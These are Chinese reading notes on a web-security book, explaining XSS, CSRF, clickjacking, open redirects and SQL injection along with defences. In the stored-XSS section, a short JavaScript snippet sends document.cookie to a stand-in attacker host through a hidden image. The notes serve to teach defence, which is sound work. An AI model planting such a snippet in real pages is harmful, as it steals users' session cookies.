本文是阅读《白帽子讲web安全》 ----吴翰清 的一点笔记
在足不出户尽知天下事的信息时代,安全问题已然成为人们关注的众多焦点之一。
安全三要素
- 机密性:保护数据内容不被泄露。
- 完整性:保护数据内容完整,没有被篡改。
- 可用性:保护资源是可用的。
web安全简述
基于web环境应用的安全。
- 前端安全:浏览器、单页面应用、Web页面当中的安全问题。
- 服务端安全:发生在后端服务器、应用、服务当中的安全问题。
常见web安全及防御
一、XSS
1、描述
跨站脚本攻击(全称Cross Site Script),为了和CSS( Cascading StyleSheets)有所区别,所以在安全领域叫XSS。
2、原理
XSS 的原理是攻击者往 Web 页面里插入恶意脚本,当用户浏览网页时,嵌入其中的脚本代码会被执行,从而达到盗取用户信息或其他侵犯用户安全隐私的目的。
3、XSS 的分类
3.1、反射性XSS(非持久型)
反射型XSS:诱使用户访问包含恶意代码的URL,当受害者点击这些链接的时候,恶意代码在受害者的浏览器上执行。
反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机的浏览器执行。对于访问者而言是一次性的,具体表现把恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。需要欺骗用户自己去点击链接才能触发XSS代码
3.2、DOM型XSS(非持久型)
DOM型XSS:从效果上说也是反射型XSS,和反射型XSS不同的是它不依赖服务器端,而是直接从客户端获取DOM中的数据(例如url、hash等)并在本地执行。
3.3、存储型(持久型)
存储型XSS:将恶意提交的代码存储在服务器中,用户访问的时候触发恶意代码执行。
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
let img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);4、XSS防御
xss的本质是让正常用户访问的时候,执行攻击者插入的js脚本 ,来完成攻击者的非法行为。
4.1、特点
- 破坏页面正常结构与样式等。
- 盗用cookie进行非法操作。
- 盗取用户敏感私用信息等。
- … …
4.2、防御
- 校验用户输入信息的合法性,过滤非法输入,对用户的原创内容报怀疑态度。
- 输出内容进行编码转义(转义库)。
- 白名单控制允许的HTML标签及各标签的属性。
- 敏感重要cookie设置HttpOnly。
- 插入html标签、js事件等先编码转义后使用
- … …
5、XSS防御示例
二、CSRF
1、描述
CSRF(Cross Site Request Forgery,跨站请求伪造)攻击是一种依赖web浏览器的、被混淆过的代理人攻击,通过伪装来自受信任用户的请求来利用受信任的网站,造成个人隐私泄露及财产安全。
2、原理
跨站请求伪造攻击(全称Cross-Site Request Forgery),通过伪造正常用户的身份,向服务器发送恶意请求。
3、CSRF防御
- 敏感提交采用post。
- 密码校验
- 手机验证码
- 生物特征:声纹、指纹、刷脸等
- 设备信息
- Cookie不随着跨域请求发送。
- Referer限制(白名单策略)。
Refer白名单验证可以作为防御CSRF的一个手段(参考手段)。
- Refer丢失。
- Refer伪造。
- 很多用户出于安全考虑,限制refer的发送。
- 敏感行为用户信息二次验证。
- 验证码(影响体验,关键业务点设置验证码)。
- 请求带上反CSRF token。
使用token验证,黑客并不能拿到或看到cookie里的内容,所以无法伪造一个完整的请求(网站必须不存在XSS漏洞)。
- token需要足够随机,必须使用足够安全的随机算法,或者采用真随机数生成器。
- token一次性,一旦使用过需要重新生成。
- 时效性,长时间没有使用需要重新生成。
- 将token放到表单中,随请求提交(注意token的保密性)。
- … …
4、CSRF防御示例
图形验证码区分人类和机器的操作行为被广泛应用,但是验证码破解也是个产业。黑灰产利用深度学习技术构建模型自动识别验证码,所以验证码库V1—V2—V3…..版本一次一次的迭代升级。
进而很多场景引入对抗验证码
- 增加干扰项
- 问答式验证码
- 行为验证码
- ... ...
三、点击劫持
1、描述
点击劫持:一种视觉的欺骗手段,攻击者将被攻击网站,通过不可见框架嵌入自己的网页(Iframe、图片覆盖、DOM覆盖等…),诱使用户在页面上操作,用户在不知情状态下,操作被攻击网站而造成攻击行为(eg:关注…)。
2、原理
3、防御
3.1、特点
- 隐蔽性较高。
- 骗取用户操作。
- “UI-覆盖攻击”。
- 利用Iframe或者其他标签的属性。
3.2、防御
- 网站禁止iframe嵌套(frame busting)。
- 设置X-FRAME-OPTIONS,控制iframe嵌套(浏览器兼容性)。
X-FRAME-OPTIONS是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头就是为了防御用iframe 嵌套的点击劫持攻击。
- 该响应头有三个值可选,分别是
- DENY,表示页面不允许通过 iframe 的方式展示。
- SAMEORIGIN,表示页面可以在相同域名下通过iframe的方式展示。
- ALLOW-FROM,表示页面可以在指定来源的 iframe中展示。
4、点击劫持防御示例
四、URL跳转
1、描述
URL跳转:借助未验证的URL跳转,将应用程序引导到不安全的第三方区域,从而导致的安全问题。
2、原理
3、防御
3.1、特点
- 获取参数链接。
- Header头跳转。
- Javascript跳转。
- META等DOM标签跳转。
3.2、防御
- 跳转的url不直接使用用户传入的参数。
- 跳转地址增加白名单限制。
4、URL跳转防御示例
五、SQL注入
1、描述
SQL注入:通过在用户控制的参数中注入SQL语法,破坏原有SQL结构,访问或修改数据,完成攻击行为。
2、原理
3、防御
3.1、特点
- 跳过账户权限验证达到越权操作。
- 获取数据库敏感信息从而进行脱库。
- 变更数据库内容。
- 用户能够控制输入。
- 需要执行的逻辑拼接了用户输入的内容。
3.2、分类
- 回显注入:直接从返回结果中获取数据。
- 报错注入:在sql执行的报错中嗅探到数据库的结构和内容。
- 盲注:根据数据库执行的延时等操作来判断是否接近正确值。
3.3、防御
- 数据与代码分离。
- 对用户输入进行严格的检测过滤或者编码。
- 控制数据库操作权限,遵循最小权限原则。
- 敏感信息加密存储。
- 数据库操作日志,尽量不要输出原始错误日志。
- … …
总结
安全问题往往发生在一些意想不到的地方。另一方面,防御技术在不断完善的同时,攻击技术也在不断地发展。所以需要在变化中持续迭代升级,来对抗攻击。
- 开发流程:规范开发流程,在开发阶段产出相对安全的代码。
- 查找:通过漏洞扫描、渗透测试、代码审计等发现系统中存在的安全问题。
- 解决:处理自查出的安全问题,及时响应处理安全工单。
- 防御:搭建完整的安全防御体系(例如入侵检测系统、web应用防火墙等)。